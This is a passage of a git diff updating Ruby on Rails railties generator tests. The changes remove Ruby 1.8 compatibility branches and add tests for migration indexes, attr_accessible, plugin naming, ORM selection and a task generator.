end
def test_javascript_is_skipped_if_required
@@ -242,33 +297,9 @@ class AppGeneratorTest < Rails::Generators::TestCase
end
end
- def test_inclusion_of_turn_gem_in_gemfile
- run_generator
- assert_file "Gemfile" do |contents|
- assert_match(/gem 'turn'/, contents) unless RUBY_VERSION < '1.9.2'
- assert_no_match(/gem 'turn'/, contents) if RUBY_VERSION < '1.9.2'
- end
- end
-
- def test_turn_gem_is_not_included_in_gemfile_if_skipping_test_unit
- run_generator [destination_root, "--skip-test-unit"]
- assert_file "Gemfile" do |contents|
- assert_no_match(/gem 'turn'/, contents) unless RUBY_VERSION < '1.9.2'
- end
- end
-
- def test_inclusion_of_ruby_debug
+ def test_inclusion_of_debugger
run_generator
- assert_file "Gemfile" do |contents|
- assert_match(/gem 'ruby-debug'/, contents) if RUBY_VERSION < '1.9'
- end
- end
-
- def test_inclusion_of_ruby_debug19_if_ruby19
- run_generator
- assert_file "Gemfile" do |contents|
- assert_match(/gem 'ruby-debug19', :require => 'ruby-debug'/, contents) unless RUBY_VERSION < '1.9'
- end
+ assert_file "Gemfile", /# gem 'debugger'/
end
def test_template_from_dir_pwd
@@ -282,7 +313,7 @@ class AppGeneratorTest < Rails::Generators::TestCase
end
def test_default_usage
- File.expects(:exist?).returns(false)
+ Rails::Generators::AppGenerator.expects(:usage_path).returns(nil)
assert_match(/Create rails files for app generator/, Rails::Generators::AppGenerator.desc)
end
@@ -309,36 +340,57 @@ class AppGeneratorTest < Rails::Generators::TestCase
def test_new_hash_style
run_generator [destination_root]
assert_file "config/initializers/session_store.rb" do |file|
- if RUBY_VERSION < "1.9"
- assert_match(/config.session_store :cookie_store, :key => '_.+_session'/, file)
- else
- assert_match(/config.session_store :cookie_store, key: '_.+_session'/, file)
- end
+ assert_match(/config.session_store :cookie_store, key: '_.+_session'/, file)
end
end
- def test_force_old_style_hash
- run_generator [destination_root, "--old-style-hash"]
- assert_file "config/initializers/session_store.rb" do |file|
- assert_match(/config.session_store :cookie_store, :key => '_.+_session'/, file)
+ def test_generated_environments_file_for_sanitizer
+ run_generator [destination_root, "--skip-active-record"]
+ %w(development test).each do |env|
+ assert_file "config/environments/#{env}.rb" do |file|
+ assert_no_match(/config.active_record.mass_assignment_sanitizer = :strict/, file)
+ end
end
end
- def test_generated_environments_file_for_sanitizer
+ def test_generated_environments_file_for_auto_explain
run_generator [destination_root, "--skip-active-record"]
- ["config/environments/development.rb", "config/environments/test.rb"].each do |env_file|
- assert_file env_file do |file|
- assert_no_match(/config.active_record.mass_assignment_sanitizer = :strict/, file)
+ %w(development production).each do |env|
+ assert_file "config/environments/#{env}.rb" do |file|
+ assert_no_match %r(auto_explain_threshold_in_seconds), file
end
end
end
+ def test_active_record_whitelist_attributes_is_present_application_config
+ run_generator
+ assert_file "config/application.rb", /config\.active_record\.whitelist_attributes = true/
+ end
+
+ def test_active_record_dependent_restrict_raises_is_present_application_config
+ run_generator
+ assert_file "config/application.rb", /config\.active_record\.dependent_restrict_raises = false/
+ end
+
+ def test_pretend_option
+ output = run_generator [File.join(destination_root, "myapp"), "--pretend"]
+ assert_no_match(/run bundle install/, output)
+ end
+
+ def test_humans_txt_file
+ run_generator [File.join(destination_root, 'things-43')]
+ assert_file "things-43/public/humans.txt", /Name: Things43/, /Software: Ruby on Rails/
+ end
+
protected
def action(*args, &block)
silence(:stdout) { generator.send(*args, &block) }
end
+ def assert_gem(gem)
+ assert_file "Gemfile", /^gem\s+["']#{gem}["']$/
+ end
end
class CustomAppGeneratorTest < Rails::Generators::TestCase
diff --git a/railties/test/generators/generated_attribute_test.rb b/railties/test/generators/generated_attribute_test.rb
index a85829085c..6e3fc84781 100644
--- a/railties/test/generators/generated_attribute_test.rb
+++ b/railties/test/generators/generated_attribute_test.rb
@@ -69,7 +69,7 @@ class GeneratedAttributeTest < Rails::Generators::TestCase
end
def test_default_value_for_type
- att = Rails::Generators::GeneratedAttribute.new("type", "string")
+ att = Rails::Generators::GeneratedAttribute.parse("type:string")
assert_equal("", att.default)
end
@@ -122,4 +122,9 @@ class GeneratedAttributeTest < Rails::Generators::TestCase
assert_equal :string, create_generated_attribute(nil, 'title').type
assert_equal :string, create_generated_attribute("", 'title').type
end
+
+ def test_handles_index_names_for_references
+ assert_equal "post", create_generated_attribute('string', 'post').index_name
+ assert_equal "post_id", create_generated_attribute('references', 'post').index_name
+ end
end
diff --git a/railties/test/generators/mailer_generator_test.rb b/railties/test/generators/mailer_generator_test.rb
index 139d6b1421..c501780e7f 100644
--- a/railties/test/generators/mailer_generator_test.rb
+++ b/railties/test/generators/mailer_generator_test.rb
@@ -10,11 +10,7 @@ class MailerGeneratorTest < Rails::Generators::TestCase
run_generator
assert_file "app/mailers/notifier.rb" do |mailer|
assert_match(/class Notifier < ActionMailer::Base/, mailer)
- if RUBY_VERSION < "1.9"
- assert_match(/default :from => "from@example.com"/, mailer)
- else
- assert_match(/default from: "from@example.com"/, mailer)
- end
+ assert_match(/default from: "from@example.com"/, mailer)
end
end
@@ -77,33 +73,14 @@ class MailerGeneratorTest < Rails::Generators::TestCase
assert_file "app/mailers/notifier.rb" do |mailer|
assert_instance_method :foo, mailer do |foo|
- if RUBY_VERSION < "1.9"
- assert_match(/mail :to => "to@example.org"/, foo)
- else
- assert_match(/mail to: "to@example.org"/, foo)
- end
+ assert_match(/mail to: "to@example.org"/, foo)
assert_match(/@greeting = "Hi"/, foo)
end
assert_instance_method :bar, mailer do |bar|
- if RUBY_VERSION < "1.9"
- assert_match(/mail :to => "to@example.org"/, bar)
- else
- assert_match(/mail to: "to@example.org"/, bar)
- end
+ assert_match(/mail to: "to@example.org"/, bar)
assert_match(/@greeting = "Hi"/, bar)
end
end
end
-
- def test_force_old_style_hash
- run_generator ["notifier", "foo", "--old-style-hash"]
- assert_file "app/mailers/notifier.rb" do |mailer|
- assert_match(/default :from => "from@example.com"/, mailer)
-
- assert_instance_method :foo, mailer do |foo|
- assert_match(/mail :to => "to@example.org"/, foo)
- end
- end
- end
end
diff --git a/railties/test/generators/migration_generator_test.rb b/railties/test/generators/migration_generator_test.rb
index 337257df7d..b320e40654 100644
--- a/railties/test/generators/migration_generator_test.rb
+++ b/railties/test/generators/migration_generator_test.rb
@@ -41,6 +41,24 @@ class MigrationGeneratorTest < Rails::Generators::TestCase
end
end
+ def test_remove_migration_with_indexed_attribute
+ migration = "remove_title_body_from_posts"
+ run_generator [migration, "title:string:index", "body:text"]
+
+ assert_migration "db/migrate/#{migration}.rb" do |content|
+ assert_method :up, content do |up|
+ assert_match(/remove_column :posts, :title/, up)
+ assert_match(/remove_column :posts, :body/, up)
+ end
+
+ assert_method :down, content do |down|
+ assert_match(/add_column :posts, :title, :string/, down)
+ assert_match(/add_column :posts, :body, :text/, down)
+ assert_match(/add_index :posts, :title/, down)
+ end
+ end
+ end
+
def test_remove_migration_with_attributes
migration = "remove_title_body_from_posts"
run_generator [migration, "title:string", "body:text"]
@@ -58,6 +76,68 @@ class MigrationGeneratorTest < Rails::Generators::TestCase
end
end
+ def test_add_migration_with_attributes_and_indices
+ migration = "add_title_with_index_and_body_to_posts"
+ run_generator [migration, "title:string:index", "body:text", "user_id:integer:uniq"]
+
+ assert_migration "db/migrate/#{migration}.rb" do |content|
+ assert_method :change, content do |up|
+ assert_match(/add_column :posts, :title, :string/, up)
+ assert_match(/add_column :posts, :body, :text/, up)
+ assert_match(/add_column :posts, :user_id, :integer/, up)
+ end
+ assert_match(/add_index :posts, :title/, content)
+ assert_match(/add_index :posts, :user_id, unique: true/, content)
+ end
+ end
+
+ def test_add_migration_with_attributes_and_wrong_index_declaration
+ migration = "add_title_and_content_to_books"
+ run_generator [migration, "title:string:inex", "content:text", "user_id:integer:unik"]
+
+ assert_migration "db/migrate/#{migration}.rb" do |content|
+ assert_method :change, content do |up|
+ assert_match(/add_column :books, :title, :string/, up)
+ assert_match(/add_column :books, :content, :text/, up)
+ assert_match(/add_column :books, :user_id, :integer/, up)
+ end
+ assert_no_match(/add_index :books, :title/, content)
+ assert_no_match(/add_index :books, :user_id/, content)
+ end
+ end
+
+ def test_add_migration_with_attributes_without_type_and_index
+ migration = "add_title_with_index_and_body_to_posts"
+ run_generator [migration, "title:index", "body:text", "user_uuid:uniq"]
+
+ assert_migration "db/migrate/#{migration}.rb" do |content|
+ assert_method :change, content do |up|
+ assert_match(/add_column :posts, :title, :string/, up)
+ assert_match(/add_column :posts, :body, :text/, up)
+ assert_match(/add_column :posts, :user_uuid, :string/, up)
+ end
+ assert_match(/add_index :posts, :title/, content)
+ assert_match(/add_index :posts, :user_uuid, unique: true/, content)
+ end
+ end
+
+ def test_add_migration_with_attributes_index_declaration_and_attribute_options
+ migration = "add_title_and_content_to_books"
+ run_generator [migration, "title:string{40}:index", "content:string{255}", "price:decimal{1,2}:index", "discount:decimal{3.4}:uniq"]
+
+ assert_migration "db/migrate/#{migration}.rb" do |content|
+ assert_method :change, content do |up|
+ assert_match(/add_column :books, :title, :string, limit: 40/, up)
+ assert_match(/add_column :books, :content, :string, limit: 255/, up)
+ assert_match(/add_column :books, :price, :decimal, precision: 1, scale: 2/, up)
+ assert_match(/add_column :books, :discount, :decimal, precision: 3, scale: 4/, up)
+ end
+ assert_match(/add_index :books, :title/, content)
+ assert_match(/add_index :books, :price/, content)
+ assert_match(/add_index :books, :discount, unique: true/, content)
+ end
+ end
+
def test_should_create_empty_migrations_if_name_not_start_with_add_or_remove
migration = "create_books"
run_generator [migration, "title:string", "content:text"]
@@ -72,4 +152,8 @@ class MigrationGeneratorTest < Rails::Generators::TestCase
end
end
end
+
+ def test_properly_identifies_usage_file
+ assert generator_class.send(:usage_path)
+ end
end
diff --git a/railties/test/generators/model_generator_test.rb b/railties/test/generators/model_generator_test.rb
index 1b0cb425c6..fd3b8c8a17 100644
--- a/railties/test/generators/model_generator_test.rb
+++ b/railties/test/generators/model_generator_test.rb
@@ -113,6 +113,74 @@ class ModelGeneratorTest < Rails::Generators::TestCase
end
end
+ def test_migration_with_attributes_and_with_index
+ run_generator ["product", "name:string:index", "supplier_id:integer:index", "user_id:integer:uniq", "order_id:uniq"]
+
+ assert_migration "db/migrate/create_products.rb" do |m|
+ assert_method :change, m do |up|
+ assert_match(/create_table :products/, up)
+ assert_match(/t\.string :name/, up)
+ assert_match(/t\.integer :supplier_id/, up)
+ assert_match(/t\.integer :user_id/, up)
+ assert_match(/t\.string :order_id/, up)
+
+ assert_match(/add_index :products, :name/, up)
+ assert_match(/add_index :products, :supplier_id/, up)
+ assert_match(/add_index :products, :user_id, unique: true/, up)
+ assert_match(/add_index :products, :order_id, unique: true/, up)
+ end
+ end
+ end
+
+ def test_migration_with_attributes_and_with_wrong_index_declaration
+ run_generator ["product", "name:string", "supplier_id:integer:inex", "user_id:integer:unqu"]
+
+ assert_migration "db/migrate/create_products.rb" do |m|
+ assert_method :change, m do |up|
+ assert_match(/create_table :products/, up)
+ assert_match(/t\.string :name/, up)
+ assert_match(/t\.integer :supplier_id/, up)
+ assert_match(/t\.integer :user_id/, up)
+
+ assert_no_match(/add_index :products, :name/, up)
+ assert_no_match(/add_index :products, :supplier_id/, up)
+ assert_no_match(/add_index :products, :user_id/, up)
+ end
+ end
+ end
+
+ def test_migration_with_missing_attribute_type_and_with_index
+ run_generator ["product", "name:index", "supplier_id:integer:index", "year:integer"]
+
+ assert_migration "db/migrate/create_products.rb" do |m|
+ assert_method :change, m do |up|
+ assert_match(/create_table :products/, up)
+ assert_match(/t\.string :name/, up)
+ assert_match(/t\.integer :supplier_id/, up)
+
+ assert_match(/add_index :products, :name/, up)
+ assert_match(/add_index :products, :supplier_id/, up)
+ assert_no_match(/add_index :products, :year/, up)
+ end
+ end
+ end
+
+ def test_add_migration_with_attributes_index_declaration_and_attribute_options
+ run_generator ["product", "title:string{40}:index", "content:string{255}", "price:decimal{5,2}:index", "discount:decimal{5,2}:uniq"]
+
+ assert_migration "db/migrate/create_products.rb" do |content|
+ assert_method :change, content do |up|
+ assert_match(/create_table :products/, up)
+ assert_match(/t.string :title, limit: 40/, up)
+ assert_match(/t.string :content, limit: 255/, up)
+ assert_match(/t.decimal :price, precision: 5, scale: 2/, up)
+ end
+ assert_match(/add_index :products, :title/, content)
+ assert_match(/add_index :products, :price/, content)
+ assert_match(/add_index :products, :discount, unique: true/, content)
+ end
+ end
+
def test_migration_without_timestamps
ActiveRecord::Base.timestamped_migrations = false
run_generator ["account"]
@@ -215,7 +283,7 @@ class ModelGeneratorTest < Rails::Generators::TestCase
assert_migration "db/migrate/create_accounts.rb" do |m|
assert_method :change, m do |up|
- assert_match(/add_index/, up)
+ assert_match(/index: true/, up)
end
end
end
@@ -225,7 +293,7 @@ class ModelGeneratorTest < Rails::Generators::TestCase
assert_migration "db/migrate/create_accounts.rb" do |m|
assert_method :change, m do |up|
- assert_match(/add_index/, up)
+ assert_match(/index: true/, up)
end
end
end
@@ -235,7 +303,7 @@ class ModelGeneratorTest < Rails::Generators::TestCase
assert_migration "db/migrate/create_accounts.rb" do |m|
assert_method :change, m do |up|
- assert_no_match(/add_index/, up)
+ assert_no_match(/index: true/, up)
end
end
end
@@ -245,8 +313,18 @@ class ModelGeneratorTest < Rails::Generators::TestCase
assert_migration "db/migrate/create_accounts.rb" do |m|
assert_method :change, m do |up|
- assert_no_match(/add_index/, up)
+ assert_no_match(/index: true/, up)
end
end
end
+
+ def test_attr_accessible_added_with_non_reference_attributes
+ run_generator
+ assert_file 'app/models/account.rb', /attr_accessible :age, :name/
+ end
+
+ def test_attr_accessible_added_with_comments_when_no_attributes_present
+ run_generator ["Account"]
+ assert_file 'app/models/account.rb', /# attr_accessible :title, :body/
+ end
end
diff --git a/railties/test/generators/named_base_test.rb b/railties/test/generators/named_base_test.rb
index f23701e99e..2bc2c33a72 100644
--- a/railties/test/generators/named_base_test.rb
+++ b/railties/test/generators/named_base_test.rb
@@ -108,6 +108,15 @@ class NamedBaseTest < Rails::Generators::TestCase
assert_name g, 'sheep_index', :index_helper
end
+ def test_hide_namespace
+ g = generator ['Hidden']
+ g.class.stubs(:namespace).returns('hidden')
+
+ assert !Rails::Generators.hidden_namespaces.include?('hidden')
+ g.class.hide!
+ assert Rails::Generators.hidden_namespaces.include?('hidden')
+ end
+
protected
def assert_name(generator, value, method)
diff --git a/railties/test/generators/namespaced_generators_test.rb b/railties/test/generators/namespaced_generators_test.rb
index dd1e4bdac1..c495258343 100644
--- a/railties/test/generators/namespaced_generators_test.rb
+++ b/railties/test/generators/namespaced_generators_test.rb
@@ -56,11 +56,20 @@ class NamespacedControllerGeneratorTest < NamespacedGeneratorTestCase
run_generator
assert_file "config/routes.rb", /get "account\/foo"/, /get "account\/bar"/
end
-#
+
def test_invokes_default_template_engine_even_with_no_action
run_generator ["account"]
assert_file "app/views/test_app/account"
end
+
+ def test_namespaced_controller_dont_indent_blank_lines
+ run_generator
+ assert_file "app/controllers/test_app/account_controller.rb" do |content|
+ content.split("\n").each do |line|
+ assert_no_match(/^\s+$/, line, "Don't indent blank lines")
+ end
+ end
+ end
end
class NamespacedModelGeneratorTest < NamespacedGeneratorTestCase
@@ -155,11 +164,7 @@ class NamespacedMailerGeneratorTest < NamespacedGeneratorTestCase
assert_file "app/mailers/test_app/notifier.rb" do |mailer|
assert_match(/module TestApp/, mailer)
assert_match(/class Notifier < ActionMailer::Base/, mailer)
- if RUBY_VERSION < "1.9"
- assert_match(/default :from => "from@example.com"/, mailer)
- else
- assert_match(/default from: "from@example.com"/, mailer)
- end
+ assert_match(/default from: "from@example.com"/, mailer)
end
end
diff --git a/railties/test/generators/orm_test.rb b/railties/test/generators/orm_test.rb
new file mode 100644
index 0000000000..9dd3d3e0ec
--- /dev/null
+++ b/railties/test/generators/orm_test.rb
@@ -0,0 +1,38 @@
+require "generators/generators_test_helper"
+require "rails/generators/rails/scaffold_controller/scaffold_controller_generator"
+
+# Mock out two ORMs
+module ORMWithGenerators
+ module Generators
+ class ActiveModel
+ def initialize(name)
+ end
+ end
+ end
+end
+
+module ORMWithoutGenerators
+ # No generators
+end
+
+class OrmTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
+ tests Rails::Generators::ScaffoldControllerGenerator
+
+ def test_orm_class_returns_custom_generator_if_supported_custom_orm_set
+ g = generator ["Foo"], :orm => "ORMWithGenerators"
+ assert_equal ORMWithGenerators::Generators::ActiveModel, g.send(:orm_class)
+ end
+
+ def test_orm_class_returns_rails_generator_if_unsupported_custom_orm_set
+ g = generator ["Foo"], :orm => "ORMWithoutGenerators"
+ assert_equal Rails::Generators::ActiveModel, g.send(:orm_class)
+ end
+
+ def test_orm_instance_returns_orm_class_instance_with_name
+ g = generator ["Foo"]
+ orm_instance = g.send(:orm_instance)
+ assert g.send(:orm_class) === orm_instance
+ assert_equal "foo", orm_instance.name
+ end
+end
diff --git a/railties/test/generators/plugin_new_generator_test.rb b/railties/test/generators/plugin_new_generator_test.rb
index 9183945619..51374e5f3f 100644
--- a/railties/test/generators/plugin_new_generator_test.rb
+++ b/railties/test/generators/plugin_new_generator_test.rb
@@ -1,4 +1,3 @@
-require 'abstract_unit'
require 'generators/generators_test_helper'
require 'rails/generators/rails/plugin_new/plugin_new_generator'
require 'generators/shared_generator_tests.rb'
@@ -28,13 +27,20 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase
include SharedGeneratorTests
def test_invalid_plugin_name_raises_an_error
- content = capture(:stderr){ run_generator [File.join(destination_root, "43-things")] }
- assert_equal "Invalid plugin name 43-things. Please give a name which does not start with numbers.\n", content
+ content = capture(:stderr){ run_generator [File.join(destination_root, "things-43")] }
+ assert_equal "Invalid plugin name things-43. Please give a name which use only alphabetic or numeric or \"_\" characters.\n", content
+
+ content = capture(:stderr){ run_generator [File.join(destination_root, "things4.3")] }
+ assert_equal "Invalid plugin name things4.3. Please give a name which use only alphabetic or numeric or \"_\" characters.\n", content
+
+ content = capture(:stderr){ run_generator [File.join(destination_root, "43things")] }
+ assert_equal "Invalid plugin name 43things. Please give a name which does not start with numbers.\n", content
end
- def test_invalid_plugin_name_is_fixed
- run_generator [File.join(destination_root, "things-43")]
- assert_file "things-43/lib/things-43.rb", /module Things43/
+ def test_camelcase_plugin_name_underscores_filenames
+ run_generator [File.join(destination_root, "CamelCasedName")]
+ assert_no_file "CamelCasedName/lib/CamelCasedName.rb"
+ assert_file "CamelCasedName/lib/camel_cased_name.rb", /module CamelCasedName/
end
def test_generating_without_options
@@ -205,7 +211,7 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase
def test_creating_gemspec
run_generator
assert_file "bukkits.gemspec", /s.name\s+= "bukkits"/
- assert_file "bukkits.gemspec", /s.files = Dir\["\{app,config,db,lib\}\/\*\*\/\*"\]/
+ assert_file "bukkits.gemspec", /s.files = Dir\["\{app,config,db,lib\}\/\*\*\/\*", "MIT-LICENSE", "Rakefile", "README\.rdoc"\]/
assert_file "bukkits.gemspec", /s.test_files = Dir\["test\/\*\*\/\*"\]/
assert_file "bukkits.gemspec", /s.version\s+ = Bukkits::VERSION/
end
@@ -230,6 +236,13 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase
assert_no_file "test/dummy"
end
+ def test_creating_dummy_application_with_different_name
+ run_generator [destination_root, "--dummy_path", "spec/fake"]
+ assert_file "spec/fake"
+ assert_file "spec/fake/config/application.rb"
+ assert_no_file "test/dummy"
+ end
+
def test_creating_dummy_without_tests_but_with_dummy_path
run_generator [destination_root, "--dummy_path", "spec/dummy", "--skip-test-unit"]
assert_file "spec/dummy"
@@ -237,6 +250,14 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase
assert_no_file "test"
end
+ def test_ensure_that_gitignore_can_be_generated_from_a_template_for_dummy_path
+ FileUtils.cd(Rails.root)
+ run_generator([destination_root, "--dummy_path", "spec/dummy" "--skip-test-unit"])
+ assert_file ".gitignore" do |contents|
+ assert_match(/spec\/dummy/, contents)
+ end
+ end
+
def test_skipping_test_unit
run_generator [destination_root, "--skip-test-unit"]
assert_no_file "test"
@@ -250,6 +271,37 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase
assert_no_file "bukkits.gemspec"
end
+ def test_creating_plugin_in_app_directory_adds_gemfile_entry
+ # simulate application existance
+ gemfile_path = "#{Rails.root}/Gemfile"
+ Object.const_set('APP_PATH', Rails.root)
+ FileUtils.touch gemfile_path
+
+ run_generator [destination_root]
+
+ assert_file gemfile_path, /gem 'bukkits', :path => 'tmp\/bukkits'/
+ ensure
+ Object.send(:remove_const, 'APP_PATH')
+ FileUtils.rm gemfile_path
+ end
+
+ def test_skipping_gemfile_entry
+ # simulate application existance
+ gemfile_path = "#{Rails.root}/Gemfile"
+ Object.const_set('APP_PATH', Rails.root)
+ FileUtils.touch gemfile_path
+
+ run_generator [destination_root, "--skip-gemfile-entry"]
+
+ assert_file gemfile_path do |contents|
+ assert_no_match(/gem 'bukkits', :path => 'tmp\/bukkits'/, contents)
+ end
+ ensure
+ Object.send(:remove_const, 'APP_PATH')
+ FileUtils.rm gemfile_path
+ end
+
+
protected
def action(*args, &block)
diff --git a/railties/test/generators/scaffold_controller_generator_test.rb b/railties/test/generators/scaffold_controller_generator_test.rb
index 65b30b9fbd..1eea50b0d9 100644
--- a/railties/test/generators/scaffold_controller_generator_test.rb
+++ b/railties/test/generators/scaffold_controller_generator_test.rb
@@ -75,6 +75,19 @@ class ScaffoldControllerGeneratorTest < Rails::Generators::TestCase
assert_file "test/functional/users_controller_test.rb" do |content|
assert_match(/class UsersControllerTest < ActionController::TestCase/, content)
assert_match(/test "should get index"/, content)
+ assert_match(/post :create, user: \{ age: @user.age, name: @user.name \}/, content)
+ assert_match(/put :update, id: @user, user: \{ age: @user.age, name: @user.name \}/, content)
+ end
+ end
+
+ def test_functional_tests_without_attributes
+ run_generator ["User"]
+
+ assert_file "test/functional/users_controller_test.rb" do |content|
+ assert_match(/class UsersControllerTest < ActionController::TestCase/, content)
+ assert_match(/test "should get index"/, content)
+ assert_match(/post :create, user: \{ \}/, content)
+ assert_match(/put :update, id: @user, user: \{ \}/, content)
end
end
@@ -126,18 +139,7 @@ class ScaffoldControllerGeneratorTest < Rails::Generators::TestCase
def test_new_hash_style
run_generator
assert_file "app/controllers/users_controller.rb" do |content|
- if RUBY_VERSION < "1.9"
- assert_match(/\{ render :action => "new" \}/, content)
- else
- assert_match(/\{ render action: "new" \}/, content)
- end
- end
- end
-
- def test_force_old_style_hash
- run_generator ["User", "--old-style-hash"]
- assert_file "app/controllers/users_controller.rb" do |content|
- assert_match(/\{ render :action => "new" \}/, content)
+ assert_match(/\{ render action: "new" \}/, content)
end
end
end
diff --git a/railties/test/generators/scaffold_generator_test.rb b/railties/test/generators/scaffold_generator_test.rb
index 2db8090621..9b456c64ef 100644
--- a/railties/test/generators/scaffold_generator_test.rb
+++ b/railties/test/generators/scaffold_generator_test.rb
@@ -14,10 +14,8 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase
assert_file "app/models/product_line.rb", /class ProductLine < ActiveRecord::Base/
assert_file "test/unit/product_line_test.rb", /class ProductLineTest < ActiveSupport::TestCase/
assert_file "test/fixtures/product_lines.yml"
- assert_migration "db/migrate/create_product_lines.rb", /belongs_to :product/
- assert_migration "db/migrate/create_product_lines.rb", /add_index :product_lines, :product_id/
- assert_migration "db/migrate/create_product_lines.rb", /references :user/
- assert_migration "db/migrate/create_product_lines.rb", /add_index :product_lines, :user_id/
+ assert_migration "db/migrate/create_product_lines.rb", /belongs_to :product, index: true/
+ assert_migration "db/migrate/create_product_lines.rb", /references :user, index: true/
# Route
assert_file "config/routes.rb" do |route|
@@ -62,8 +60,11 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase
end
end
- assert_file "test/functional/product_lines_controller_test.rb",
- /class ProductLinesControllerTest < ActionController::TestCase/
+ assert_file "test/functional/product_lines_controller_test.rb" do |test|
+ assert_match(/class ProductLinesControllerTest < ActionController::TestCase/, test)
+ assert_match(/post :create, product_line: \{ title: @product_line.title \}/, test)
+ assert_match(/put :update, id: @product_line, product_line: \{ title: @product_line.title \}/, test)
+ end
# Views
%w(
@@ -85,6 +86,17 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase
assert_file "app/assets/stylesheets/product_lines.css"
end
+ def test_functional_tests_without_attributes
+ run_generator ["product_line"]
+
+ assert_file "test/functional/product_lines_controller_test.rb" do |content|
+ assert_match(/class ProductLinesControllerTest < ActionController::TestCase/, content)
+ assert_match(/test "should get index"/, content)
+ assert_match(/post :create, product_line: \{ \}/, content)
+ assert_match(/put :update, id: @product_line, product_line: \{ \}/, content)
+ end
+ end
+
def test_scaffold_on_revoke
run_generator
run_generator ["product_line"], :behavior => :revoke
diff --git a/railties/test/generators/shared_generator_tests.rb b/railties/test/generators/shared_generator_tests.rb
index 1534f0d828..e78e67725d 100644
--- a/railties/test/generators/shared_generator_tests.rb
+++ b/railties/test/generators/shared_generator_tests.rb
@@ -91,21 +91,6 @@ module SharedGeneratorTests
assert_match(/It works!/, capture(:stdout) { generator.invoke_all })
end
- def test_template_raises_an_error_with_invalid_path
- content = capture(:stderr){ run_generator([destination_root, "-m", "non/existant/path"]) }
- assert_match(/The template \[.*\] could not be loaded/, content)
- assert_match(/non\/existant\/path/, content)
- end
-
- def test_template_is_executed_when_supplied
- path = "http://gist.github.com/103208.txt"
- template = %{ say "It works!" }
- template.instance_eval "def read; self; end" # Make the string respond to read
-
- generator([destination_root], :template => path).expects(:open).with(path, 'Accept' => 'application/x-thor-template').returns(template)
- assert_match(/It works!/, capture(:stdout) { generator.invoke_all })
- end
-
def test_template_is_executed_when_supplied_an_https_path
path = "https://gist.github.com/103208.txt"
template = %{ say "It works!" }
@@ -119,13 +104,13 @@ module SharedGeneratorTests
generator([destination_root], :dev => true).expects(:bundle_command).with('install').once
quietly { generator.invoke_all }
rails_path = File.expand_path('../../..', Rails.root)
- assert_file 'Gemfile', /^gem\s+["']rails["'],\s+:path\s+=>\s+["']#{Regexp.escape(rails_path)}["']$/
+ assert_file 'Gemfile', /^gem\s+["']rails["'],\s+path:\s+["']#{Regexp.escape(rails_path)}["']$/
end
def test_edge_option
generator([destination_root], :edge => true).expects(:bundle_command).with('install').once
quietly { generator.invoke_all }
- assert_file 'Gemfile', %r{^gem\s+["']rails["'],\s+:git\s+=>\s+["']#{Regexp.escape("git://github.com/rails/rails.git")}["']$}
+ assert_file 'Gemfile', %r{^gem\s+["']rails["'],\s+github:\s+["']#{Regexp.escape("rails/rails")}["']$}
end
def test_skip_gemfile
diff --git a/railties/test/generators/task_generator_test.rb b/railties/test/generators/task_generator_test.rb
new file mode 100644
index 0000000000..f810a21d1e
--- /dev/null
+++ b/railties/test/generators/task_generator_test.rb
@@ -0,0 +1,12 @@
+require 'generators/generators_test_helper'
+require 'rails/generators/rails/task/task_generator'
+
+class TaskGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
+ arguments %w(feeds foo bar)
+
+ def test_controller_skeleton_is_created
+ run_generator
+ assert_file "lib/tasks/feeds.rake", /namespace :feeds/
+ end
+end
diff --git a/railties/test/generators_test.rb b/railties/test/generators_test.rb
index 56329f3183..60e7e57a91 100644
--- a/railties/test/generators_test.rb
+++ b/railties/test/generators_test.rb
@@ -201,4 +201,16 @@ class GeneratorsTest < Rails::Generators::TestCase
mspec = Rails::Generators.find_by_namespace :fixjour
assert mspec.source_paths.include?(File.join(Rails.root, "lib", "templates", "fixjour"))
end
+
+ def test_usage_with_embedded_ruby
+ require File.expand_path("fixtures/lib/generators/usage_template/usage_template_generator", File.dirname(__FILE__))
+ output = capture(:stdout) { Rails::Generators.invoke :usage_template, ['--help'] }
+ assert_match /:: 2 ::/, output
+ end
+
+ def test_hide_namespace
+ assert !Rails::Generators.hidden_namespaces.include?("special:namespace")
+ Rails::Generators.hide_namespace("special:namespace")
+ assert Rails::Generators.hidden_namespaces.include?("special:namespace")
+ end
end
diff --git a/railties/test/isolation/abstract_unit.rb b/railties/test/isolation/abstract_unit.rb
index 06b658e7bd..03be81e59f 100644
--- a/railties/test/isolation/abstract_unit.rb
+++ b/railties/test/isolation/abstract_unit.rb
@@ -8,17 +8,17 @@
# Rails booted up.
require 'fileutils'
-require 'test/unit'
-require 'rubygems'
+require 'bundler/setup'
+require 'minitest/autorun'
+require 'active_support/test_case'
# TODO: Remove setting this magic constant
RAILS_FRAMEWORK_ROOT = File.expand_path("#{File.dirname(__FILE__)}/../../..")
# These files do not require any others and are needed
# to run the tests
-require "#{RAILS_FRAMEWORK_ROOT}/activesupport/lib/active_support/testing/isolation"
-require "#{RAILS_FRAMEWORK_ROOT}/activesupport/lib/active_support/testing/declarative"
-require "#{RAILS_FRAMEWORK_ROOT}/activesupport/lib/active_support/core_ext/kernel/reporting"
+require "active_support/testing/isolation"
+require "active_support/core_ext/kernel/reporting"
module TestHelpers
module Paths
@@ -111,11 +111,16 @@ module TestHelpers
routes = File.read("#{app_path}/config/routes.rb")
if routes =~ /(\n\s*end\s*)\Z/
File.open("#{app_path}/config/routes.rb", 'w') do |f|
- f.puts $` + "\nmatch ':controller(/:action(/:id))(.:format)'\n" + $1
+ f.puts $` + "\nmatch ':controller(/:action(/:id))(.:format)', :via => :all\n" + $1
end
end
- add_to_config 'config.secret_token = "3b7cd727ee24e8444053437c36cc66c4"; config.session_store :cookie_store, :key => "_myapp_session"; config.active_support.deprecation = :log'
+ add_to_config <<-RUBY
+ config.secret_token = "3b7cd727ee24e8444053437c36cc66c4"
+ config.session_store :cookie_store, :key => "_myapp_session"
+ config.active_support.deprecation = :log
+ config.action_controller.allow_forgery_protection = false
+ RUBY
end
def teardown_app
@@ -137,7 +142,7 @@ module TestHelpers
app.initialize!
app.routes.draw do
- match "/" => "omg#index"
